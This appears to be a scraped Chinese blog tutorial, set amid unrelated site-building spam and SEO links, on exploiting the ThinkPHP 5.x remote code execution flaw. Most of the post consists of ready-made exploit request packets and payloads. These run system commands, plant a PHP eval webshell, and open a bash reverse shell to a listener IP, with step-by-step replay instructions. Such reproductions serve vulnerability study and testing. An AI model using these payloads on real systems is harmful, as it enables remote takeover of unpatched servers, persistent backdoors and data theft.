当前位置: 首页 > news >正文

公司高端网站建设洛阳网站建设 恒凯科技

公司高端网站建设,洛阳网站建设 恒凯科技,天津室内设计公司排行,石家庄网站建设方案优化文章目录 一、什么是框架?二、导致框架漏洞原因二、使用步骤三、ThinkPHP介绍四、Thinkphp框架特征五、Thinkphp5.0.23 远程代码执行1、漏洞影响范围2、漏洞成因 六、POC数据包Windows下的Linux下的 七、漏洞手工复现1、先Burp抓包,把抓到的请求包发送到…

文章目录

  • 一、什么是框架?
  • 二、导致框架漏洞原因
  • 二、使用步骤三、ThinkPHP介绍
  • 四、Thinkphp框架特征
  • 五、Thinkphp5.0.23 远程代码执行
    • 1、漏洞影响范围
    • 2、漏洞成因
  • 六、POC数据包
    • Windows下的
    • Linux下的
  • 七、漏洞手工复现
    • 1、先Burp抓包,把抓到的请求包发送到重放模块
    • 2、把数据包改成POST请求
    • 3、按照POC构造请求包,然后重放
    • 4、写入shell
    • 5、反弹shell
      • 1)建立监听
      • 2)发送POC请求包
      • 3)返回监听端查看,发现shell已经反弹回来了
  • 八、漏洞工具复现
    • 1、工具
    • 2、脚本
  • 九、扩展-反弹shell


一、什么是框架?

简言之,别人帮你建好了房子但尚未装修,你需要在别人设计好的户型里去装修,省去你搬砖的重复性操作。


二、导致框架漏洞原因

框架存在环境缺陷,使用了不安全的版本从而导致的。


二、使用步骤三、ThinkPHP介绍

------ ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。

------ 从数据来看,thinkphp 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出,从2020年开始,ThinkPHP 6系列的漏洞也开始被挖掘。

------ 根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。
在这里插入图片描述


四、Thinkphp框架特征

  • 报错会出现以下样式的
    在这里插入图片描述
    在这里插入图片描述
  • 网站icon存在下面图标的
    在这里插入图片描述

五、Thinkphp5.0.23 远程代码执行

1、漏洞影响范围

版本是:
5.x < 5.1.31
Thinkphp 5.0.x<= 5.0.23

2、漏洞成因

------ 该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞


六、POC数据包

Windows下的

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]= id 
  • POC参数解析
    • _method=__construct 为了能够进入construct,从而覆盖变量
    • filter[]=system 覆盖变量
    • method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
    • s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
    • get[]=id 覆盖变量

Linux下的

_method=__construct&filter[]=system&method=get&get[]=pwd
  • GET请求的:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  • 写入shell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

七、漏洞手工复现

1、先Burp抓包,把抓到的请求包发送到重放模块

在这里插入图片描述

2、把数据包改成POST请求

在这里插入图片描述
在这里插入图片描述

3、按照POC构造请求包,然后重放

这里就使用pwd命令来查看路径
在这里插入图片描述
在这里插入图片描述

4、写入shell

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > 1.php

在这里插入图片描述
在这里插入图片描述
这样子就写下来了。

5、反弹shell

POC(需进行url编码)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.188.177/9999+0>%261"

1)建立监听

在这里插入图片描述

2)发送POC请求包

在这里插入图片描述

3)返回监听端查看,发现shell已经反弹回来了

在这里插入图片描述


八、漏洞工具复现

1、工具

在这里插入图片描述
在这里插入图片描述

2、脚本

在这里插入图片描述
在这里插入图片描述

这里要注意,在windows操作时,要写入shell时,直接在cmd里面操作,控制台不会直接识别 < 、’ 、” 等特殊符号,这时就需要使用 ^ 来进行转义。

例如下面这个写入shell是无法执行的:
在这里插入图片描述
这时使用 ^ 来进行转义就可以识别了
在这里插入图片描述


九、扩展-反弹shell

  • 什么是反弹shell(reverse shell)?
    就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转。

  • 为什么需要反弹shell?
    反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。


http://www.yayakq.cn/news/964668/

相关文章:

  • 湖南企业建站系统平台学校网站备案怎么做
  • 我负责与你们公司网站建设的沟通美容养生连锁东莞网站建设
  • 网站推广话术微信小程序认证入口
  • 包头企业做网站搭建网站的步骤
  • 个人如果做网站赚钱吗拼多多一件代发货源app
  • 企业网站模板优化注册投资公司有什么好处
  • 电子商务网站的建设目标高端网站公司
  • 网站型和商城型有什么区别合肥建设局网站
  • 网站广告费一般多少钱seo搜索引擎专员
  • 丰县徐州网站开发网站建设收费报价表
  • 源汇区建设局网站公关到底做什么
  • 网站建设中广告法绝对化用语整理陕煤建设集团韩城分公司网站
  • 企业网站的设计原则wordpress 分类判断
  • 贺州招聘网站建设公积金网站建设模板
  • 初学者做网站的软件php网站开发速成
  • 网站的访问速度和什么有关系软件著作权
  • 岳阳商城网站建设wordpress 30分钟过期
  • 南昌网站优化公司百度竞价是什么意思?
  • 武进网站建设市场景点网站应该怎么做
  • 企业电子商务网站的建设方式广东响应式网站
  • 云南省网站建设开发者选项
  • 零基础网站建设及维护视频课程漯河网站建设e
  • 上海网站建设高端定制网络服务公司做电影网站成本
  • ai可以做网站吗工程设计有限公司
  • 学校网站资源建设方案电子商务网站是什么意思
  • 开发区人才市场招聘信息seo搜索优化培训
  • 湖北高端网站建设价格做视频图片博客网站有哪些
  • 荆州做网站公司最好网络规划设计师教程(第2版)pdf
  • asp怎么样做网站后台扫描二维码进入公司网站怎样做
  • 茂名建站价格iis wordpress index.php